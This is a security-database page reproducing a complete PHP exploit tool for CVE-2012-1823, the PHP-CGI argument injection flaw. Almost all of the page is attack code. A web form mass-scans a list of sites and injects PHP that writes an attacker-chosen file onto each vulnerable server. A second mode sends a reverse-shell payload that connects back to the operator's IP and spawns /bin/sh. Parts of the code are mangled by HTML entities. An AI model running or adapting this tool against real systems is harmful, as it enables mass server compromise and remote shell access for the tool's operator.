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SecurityvulnsSECURITYVULNS:DOC:28089
HistoryMay 24, 2012 - 12:00 a.m.

PHP CGI Argument Injection Remote Exploit V0.3 - PHP Version

2012-05-2400:00:00
vulners.com
143

<?php

######################################### www.bugreport.ir
########################################

Title: PHP CGI Argument Injection Remote Exploit

V0.3 - PHP Version

Vendor: http://www.php.net

Vulnerable Version: PHP up to version 5.3.12 and 5.4.2

Exploitation: Remote

Original Advisory:

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

Original Exploit URL: http://www.bugreport.ir/79/exploit.htm

CVE: CVE-2012-1823

Coded By: Mostafa Azizi (admin[@]0-Day[dot]net)

###################################################################################################

/* This tool may be used for legal purposes only. Users take full
responsibility for any actions performed using this tool.
The author accepts no liability for damage caused by this tool. If
these terms are not acceptable to you, then do not use this tool.*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 10);
ob_implicit_flush (1);

echo'<html>
<head>
<title>PHP CGI Argument Injection Remote Exploit</title>
</head>
<p align="center"><font size="4" color="#5E767E">PHP CGI Argument
Injection</font></p>
<p align="center"><font size="3" color="#4E8975">Coded by: Mostafa
Azizi (admin[@]0-Day[dot]net)</font></p>
<body bgcolor="#00000">
<table align="center" border="5">
<tr>
<th><p align="center"><font size="4" color="#8BB381">Mass File
Uploader</font></p>
</th>
<th></th>
<th><p align="center"><font size="4" color="#8BB381">Reverse
Shell</font></p>
</th>
</tr>
<tr>
<td><form name="form1" action="'.$SERVER[PHP_SELF].'"
enctype="multipart/form-data" method="post">
</br>
<p></font><font color="#FFF8C6" >Please specify a file to
scan: </font></br><input type="file" name="listfile"
size="40"><font color="#FF0000"> * </font>
<p></font><font color="#FFF8C6" >Please specify a file to
upload: </font></br><input type="file" name="datafile"
size="40"><font color="#FF0000"> * </font>
<p><font color="#FFF8C6" > specify a port (default is 80):
</font></br><input name="port" size="20"><span
class="Stile5"></span></p>
<p><font color="#FFF8C6" > Proxy (ip:port):
</font></br><input name="proxy" size="20"><span
class="Stile5"></span></p>
<p align="center"> <span class="Stile5"><font
color="#FF0000">* </font><font color="white" >fields are
required</font></font></span></p>
</br>
<p align="center"><input type="submit" value="Start Attack"
name="Submit"></p>
</form> </td>
<td></td>
<td><form name="form1" action="'.$SERVER[PHP_SELF].'"
enctype="multipart/form-data" method="post">
</br>
<p></font><font color="#FFF8C6" > hostname (ex:
www.sitename.com):</font></br><input name="host" size="20"> <span
class="Stile5"></span></p>
<p></font><font color="#FFF8C6" > Your IP (ex:
173.194.35.169 ): </font></br><input name="lip" size="20">
<span class="Stile5"></span></p>
<p><font color="#FFF8C6" > Your Port (ex:
80):</font></br><input name="lport" size="20"> <span
class="Stile5"></span></p>
</br></br>
<p align="center"> <span class="Stile5"><font
color="#FF0000">All </font><font color="white" >fields are
required</font></font></span></p>
</br>
<p align="center"><input type="submit" value="Start Attack"
name="Submit2"></p>
</form> </td>
</tr>
</table>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">

   &lt;/td&gt;
 &lt;/tr&gt;

</tbody>
</table>
</body></html>';

$host = $_POST['host'];
$lip = $_POST['lip'];
$lport = $_POST['lport'];
$port = $_POST['port'];
$proxy = $_POST['proxy'];
$list = file($_FILES['listfile']['tmp_name']);
$file =
base64_encode(gzdeflate(file_get_contents($_FILES['datafile']['tmp_name'])));
$shell = "gzinflate(base64_decode(\"$file\"))";

if (isset($_POST['Submit2']) && $host != '' && $lip != '' && $lport != '')
{
/*pentestmonkey's php-reverse-shell.
Limitations: proc_open and stream_set_blocking require PHP version
4.3+, or 5+ */

                                 /* Connect Back */

    $payload = &quot;&lt;?php set_time_limit &#40;0&#41;; &#92;$VERSION = &#92;&quot;1.0&#92;&quot;; &#92;$ip =  

'$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;
\$error_a = null; \$shell = 'uname -a; w; id; /bin/sh -i'; \$daemon =
0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid =
pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\");
exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {
printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else {
printit(\"WARNING: Failed to daemonise. This is quite common and not
fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port,
\$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\");
exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 =>
array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process =
proc_open(\$shell, \$descriptorspec, \$pipes);if
(!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\");
exit(1);}stream_set_blocking(\$pipes[0],
0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],
0);stream_set_blocking(\$sock, 0);printit(\"Successfully opened
reverse shell to \$ip:\$port\"); while (1) { if (feof(\$sock)) {
printit(\"ERROR: Shell connection terminated\"); break;} if
(feof(\$pipes[1])) {printit(\"ERROR: Shell process
terminated\");break;}\$read_a = array(\$sock, \$pipes[1],
\$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,
\$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)
printit(\"SOCK READ\");\$input = fread(\$sock,
\$chunk_size);if(\$debug) printit(\"SOCK:
\$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],
\$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input =
fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT:
\$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2],
\$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input =
fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR:
\$input\");fwrite(\$sock,
\$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print \"\$string\n\";}}
?>";
$packet = "POST
".$p."/?-d+allow_url_include%3d1±d+auto_prepend_file%3dphp://input
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: PHP CGI Argument Injection Exploiter\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n\r\n";
$packet .= $payload."\r\n\r\n\r\n\r\n";
sendpacket($packet,1,0,0);

}elseif (isset($_POST['Submit']) && $list != '' && $file != '')
{
if ($port=='') {$port=80;}

    for &#40;$n =0; $n &lt; count&#40;$list&#41;; $n++&#41;
 {

     $siteAddbackup = $list[$n];
     $siteAdd=str_replace&#40;&quot;http://&quot;,&quot;&quot;,$siteAddbackup&#41;;

preg_match('/^(?:(?:http|https):\/\/)?[^\/]+(\/.+\/)[^\/\.]+\.[^\/\.]+$/i',$siteAddbackup,
$match);
$path = $match[1];
$pa = strstr(trim($siteAdd),$path);
$host=trim(str_replace($pa,"",$siteAdd));
if ($path ==''){$path = "/"; }
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.$path;}

                                                       /* Checking  

Availability */

            $connection = fsockopen&#40;$host,$port&#41;;
            if &#40;!$connection&#41;
         // site is down
         {
             echo &#39;&lt;font color=red&gt; No response from  

'.htmlentities($host).' …<br></font>';

file_put_contents(realpath(dirname(FILE)).'/notconnected.txt',
$siteAddbackup."\r\n", FILE_APPEND);
}
else
// site is up
{
fclose($connection);
Exploitable($host,$path,$p);
}

}
}

Function Exploitable($host,$path,$p)
{
global $html;
$i=0;
/* Checking Exploitability */
$packet = "GET ".$p."?-s HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: PHP CGI Argument Injection Exploiter \r\n\r\n";
sendpacket($packet,1,0,0);
$str = array(
'<code><span','&lt;?');
foreach ($str as $value => $search){
if(stristr($html, $search) == TRUE)
{$i=$i+1;}}
switch($i)
{
case 0:
echo '<font color=red>'.$host.' Faild!<br></font>';
break;
case 2:
echo '<font color=#FFF8C6>'.$host.' Exploitable<br></font>';
Exploit($host,$path,$p);
}
}

Function Exploit($host,$path,$p)
{
global $html, $shell;
/* Exploiting */

    $payload = &quot;&lt;?php &#92;$myFile = &#92;&quot;legalpentest.php&#92;&quot;; &#92;$filehandle =  

fopen(\$myFile, 'w') or die(\"can't open file\"); \$Data=$shell;
fwrite(\$filehandle, \$Data);fclose(\$filehandle);";
$packet = "POST
".$p."/?-d+allow_url_include%3d1±d+auto_prepend_file%3dphp://input
HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: PHP CGI Argument Injection Exploiter\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n\r\n";
$packet .= $payload."\r\n\r\n\r\n\r\n";
sendpacket($packet,1,0,0);
/* Check for successfully
uploaded */
$packet = "HEAD ".$p."/legalpentest.php HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: :) \r\n\r\n";
sendpacket($packet,1,0,0);

    if&#40;stristr&#40;$html , &#39;404 Not Found&#39;&#41; == true&#41;
            {
            echo &#39;&lt;font color=#FFF8C6&gt;&lt;br&gt;Exploit  

Faild…<br>-------------------------------------------------------<br></font>';
}
else {
echo "<font color=#FFF8C6><br>Exploit
Succeeded…<br>http://$host$path"."/legalpentest.php<br>-------------------------------------------------------<br></font>";
file_put_contents(realpath(dirname(FILE)).'/shell.txt',
"http://$host$path"."/legalpentest.php\r\n", FILE_APPEND);
}
}

function sendpacket($packet,$response = 0,$output = 0,$s=0)
{
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
global $proxy, $host, $port, $html, $user, $pass;
if ($proxy == '')
{
$ock = fsockopen($host,$port);
stream_set_timeout($ock, 5);
if (!$ock)
{
echo 'No response from '.htmlentities($host).' …<br>';
stream_set_timeout($ock, 4);
}
} else
{
$parts = explode(':',$proxy);
// echo '<font color=white>Connecting to proxy:
'.$parts[0].':'.$parts[1].' …<br><br/></font>';
$ock = fsockopen($parts[0],$parts[1]);
stream_set_timeout($ock, 5);
if (!$ock)
{
echo 'No response from proxy…<br>';
fclose($ock);
}
}

         if &#40;$ock&#41;
         {
             fputs&#40;$ock,$packet&#41;;
             if &#40;$response == 1&#41;
             {
                 if &#40;$proxy == &#39;&#39;&#41;
                 {
                     $html = &#39;&#39;;
                     while &#40;!feof&#40;$ock&#41;&#41;
                     {
                         $html .= fgets&#40;$ock&#41;;
                     }
                 } else
                 {
                     $html = &#39;&#39;;
                     while &#40;&#40;!feof&#40;$ock&#41;&#41; or  

(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html .= fread($ock,1);
}
}
} else $html = '';

             fclose&#40;$ock&#41;;
         }

}
?>

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